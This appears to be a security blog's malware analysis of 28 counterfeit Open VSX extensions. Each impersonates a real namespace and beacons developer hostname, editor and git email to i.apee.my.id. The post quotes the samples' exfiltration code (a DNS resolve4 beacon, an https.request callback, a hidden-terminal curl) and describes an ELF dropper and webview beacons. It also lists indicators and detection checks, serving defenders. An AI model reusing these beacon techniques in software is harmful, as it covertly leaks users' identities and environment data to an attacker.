28 Evil-Twin Open VSX Extensions - A New Wave of Coordinated Beacons
On August 12, 2026, a set of publishers uploaded at least 28 extensions to Open VSX in a one-hour window. Each one copied the name and namespace of a real project or publisher and shipped a near-identical malicious skeleton. The code does almost nothing as an extension. It simply beacons to infrastructure under i.apee.my.id and reports the machine’s hostname, the editor in use, and the extension’s own publisher name identifier. Twelve impersonated namespaces, four publisher accounts, and at least four exfiltration mechanics appeared in the same wave.
This is the same pattern observed in OSINT reporting a week earlier - counterfeit packages, a “Telemetry” framing, and a single piece of infrastructure collecting developer-environment identity. The difference here is the scale of publisher churn and the speed at which the operator iterated delivery mechanics after the first versions were caught.
TL;DR
- 28 counterfeit extensions hit Open VSX in about an hour, each copying an existing namespace and published from one of four throwaway Open VSX accounts.
- All of them beacon to the same infrastructure under
i[.]apee[.]my[.]id, with a tracking token built from the real publisher name and the extension name. - Four delivery variants were used: DNS
resolve4,fetchPOST, hidden-terminalcurl, and a bundled native ELF dropper. Later versions added a WebView 1x1 image beacon, a Node-API.nodeaddon, and a WebViewViewProviderhttpbin.orgpivot. - Clean 0.0.3 decoys were uploaded immediately after the malicious 0.0.1/0.0.2 versions, sharing the same command skeleton but stripping the beacon. The decoys are still live on Open VSX as of this writing.
What the packages look like
Every sample in the wave contains an extension.js with a size ranging from 410 bytes for a clean decoy to about 2.4 KB for a simple beacon and up to 16 KB when a native addon is bundled. Each package registers one trivial command — usually an info command that shows the display name and version — and then, on activation, runs the beacon.
The namespaces impersonated include:
celsoaf.brightscripthanifmifta.adocsedenlabio.fhir-profiler-toolarikfr.paraglide-vscodeghaschel.vscode-angular-htmljkiviluoto.twsstormier.vue-dsfr-snippetsemilerolley.publicodes-language-serverluongnd.edgeakmittal.hugofygematikde.codfshmitre-health.vscode-language-fsh
The real projects behind those names were not involved. The malicious packages reused their display names and namespaces without permission.
Four exfiltration mechanics in one wave
The operator treated the upload window as a live test grid. The same skeleton was repackaged with a different network primitive in almost every version.
Variant A — HTTP POST via https.request (celsoaf.brightscript 0.0.1)
const CALLBACK_URL = 'hxxps://result[.]i[.]apee[.]my[.]id/result-scan-ext';
async function activate(context) {
const pkg = context.extension.packageJSON;
const extId = `${pkg.publisher}.${pkg.name}`;
const version = pkg.version || '0.0.0';
await sendCallback({ hostname: getHostname(), email: getGitEmail(), version, editor: getEditorName(), ext_id: extId });
}
The sample also runs git config --global user.email to collect the configured git commit email, then POSTs the result.
Variant B — DNS beacon via resolve4, split domain (most 0.0.2 versions)
const d = require('dns');
const h = require('os').hostname().replace(/[^a-z0-9-]/gi, '').slice(0, 20).toLowerCase();
const x = (pkg.publisher + '0d0' + pkg.name).replace(/[^a-z0-9-]/gi, '').slice(0, 50).toLowerCase();
const e = app.includes('cursor') ? 'cursor' : app.includes('windsurf') ? 'windsurf' : app.includes('codium') ? 'codium' : 'vscode';
d.resolve4([e, h, x, 'kpandbla', 'i', 'apee', 'my', 'id'].join('.'), () => {});
The beacon becomes a DNS lookup for a name like <editor>.<hostname>.<publisher0d0name>.kpandbla[.]i[.]apee[.]my[.]id. No HTTPS request is needed; the lookup itself is the exfiltration.
Variant C — Hidden-terminal curl (celsoaf.brightscript 0.0.7)
const s = ['result', 'i', 'apee', 'my', 'id'].join('.');
const t = vscode.window.createTerminal({ name: 'task', hideFromUser: true, isTransient: true });
t.sendText('curl -sm5 https://' + s + '/result-scan-ext' +
' -d "hostname=' + h + '&editor=' + e + '&ext_id=' + p + '&version=' + pkg.version + '"' +
' >' + nul + ' 2>&1; exit');
A hidden VS Code: terminal runs curl and exits immediately. The command is transient and hidden from the user.
Variant D — Bundled native ELF dropper (celsoaf.brightscript 0.0.8)
A stripped 14 KB ELF is placed at extension/bin/init. On every file save, the extension opens a hidden terminal, chmods the binary, and runs it with the editor name and a 0d0-separated identifier as arguments. The ELF calls getaddrinfo() on %s.%s.kpandbla.i.apee.my.id, exfiltrating the same identifier via DNS.
Later pivots
After the first takedowns, the operator kept iterating:
- 0.0.10 uses a WebviewPanel with a 1×1 pixel
<img>tag pointing tohxxps://result[.]i[.]apee[.]my[.]id/result-scan-ext?hostname=..., auto-disposing the panel after four seconds. - 0.0.11 bundles a 16 KB unstripped Node-API ELF named
binding.node. The JavaScript loader callsrequire('./binding.node')andaddon.ping(label), and the addon constructs the same DNS identifier viagetaddrinfo(). - 0.0.42 registers a
WebviewViewProviderwhose HTML page POSTs browser fingerprints (navigator.userAgent,navigator.language,screendimensions, timezone offset) tohxxps://httpbin[.]org/post, usingXMLHttpRequestinside the webview.
Each change keeps the same telemetry goal but swaps the transport, making network-blocking alone insufficient.
The infrastructure
| Type | Value |
|---|---|
| Domain | i.apee.my.id |
| URL | hxxps://result.i.apee.my[.]id/result-scan-ext |
| DNS label | kpandbla[.]i[.]apee[.]my[.]id |
| Constructed DNS name | <editor>.<hostname>.<publisher0d0name>.kpandbla[.]i[.]apee[.]my[.]id |
| Pivot domain (WebView) | httpbin.org |
The operator’s separator string is the literal 0d0 between publisher and extension name. That token appears in the DNS variants, in the ELF dropper arguments, and in the Node-API addon. It is the strongest behavioral fingerprint in the campaign.
Clean decoys and the trust problem
Within the same wave, each publisher also uploaded a 0.0.3 version that removes the beacon entirely. The extension.js is 455–464 bytes and only registers an info command. The README is a generated placeholder. There is no repository, no homepage, and no dependency list.
Some decoys were still live on Open VSX at the time of writing. Their purpose appears to be to keep the namespace under the attacker’s control after the malicious versions are removed and to create a surface that looks harmless if a reviewer checks only the current version. It is the same trust-dilution tactic Manifold observed: alternate malicious and clean uploads so any single snapshot of the publisher is misleading.
Connection to the broader evil-twin pattern
This is not the same actor as the mangorbit[.]com wave. The infrastructure, payload style, and data scope are different. But the operational pattern is the same:
- Copy the namespace of an existing extension.
- Publish from an unrelated Open VSX account.
- Frame the beacon as “Telemetry” in the README.
- Use a recently registered or throwaway domain that collects developer identity.
- Upload clean decoys to keep the namespace alive after takedown.
The Manifold post argued that name resolution is now an automated step: agents, devcontainer configs, and provisioning scripts install by name across two registries with separate ownership rules, and a squatted name on one registry is indistinguishable from the real one on the other. The apee[.]my[.]id wave confirms the same failure mode from a different direction. None of these impersonated namespaces needed to fool a human reviewer for long. They only needed to exist as a name that an automated install or a hurried search might resolve.
What to check
- Search
.vscode/extensions.json,.devcontainer/devcontainer.json, and.devcontainer.jsonfor the identifiers listed above. - Check installed extensions, not just declared ones. A config file can request the real package while the workspace actually has the counterfeit installed.
- Alert on editor processes performing DNS lookups for
*.kpandbla[.]i[.]apee[.]my[.]idor HTTP(S) requests toresult[.]i[.]apee[.]my[.]id. - Treat unverified publishers and recently registered namespaces as blocking conditions in automated installs.
Indicators of Compromise
Malicious extension identifiers
celsoaf.brightscript(versions 0.0.1, 0.0.2, 0.0.4, 0.0.5, 0.0.6, 0.0.7, 0.0.8, 0.0.10, 0.0.11, 0.0.42)hanifmifta.adocs(0.0.1, 0.0.2)edenlabio.fhir-profiler-tool(0.0.1, 0.0.2)arikfr.paraglide-vscode(0.0.1, 0.0.2)ghaschel.vscode-angular-html(0.0.1, 0.0.2)jkiviluoto.tws(0.0.1, 0.0.2, 0.0.7)stormier.vue-dsfr-snippets(0.0.1, 0.0.2)emilerolley.publicodes-language-server(0.0.1, 0.0.2)luongnd.edge(0.0.1, 0.0.2)akmittal.hugofy(0.0.1, 0.0.2)gematikde.codfsh(0.0.1, 0.0.2)mitre-health.vscode-language-fsh(0.0.1, 0.0.2)
Network
| Type | Value |
|---|---|
| Domain | i[.]apee[.]my[.]id |
| URL | https://result[.]i[.]apee[.]my[.]id/result-scan-ext |
| DNS label | kpandbla[.]i[.]apee[.]my[.]id |
| Pivot domain | httpbin.org (used in WebViewViewProvider variant) |
File paths
extension/bin/init(bundled ELF dropper)extension/binding.node(Node-API addon)
Behavioral coverage
require('os').hostname()plus extension metadata sent to a hard-coded external domain.dns.resolve4()on a constructed subdomain.- Hidden
createTerminal({ hideFromUser: true })runningcurl. - Webview image or
XMLHttpRequestbeacon. - Native ELF or Node-API addon that resolves a DNS name carrying the extension identifier.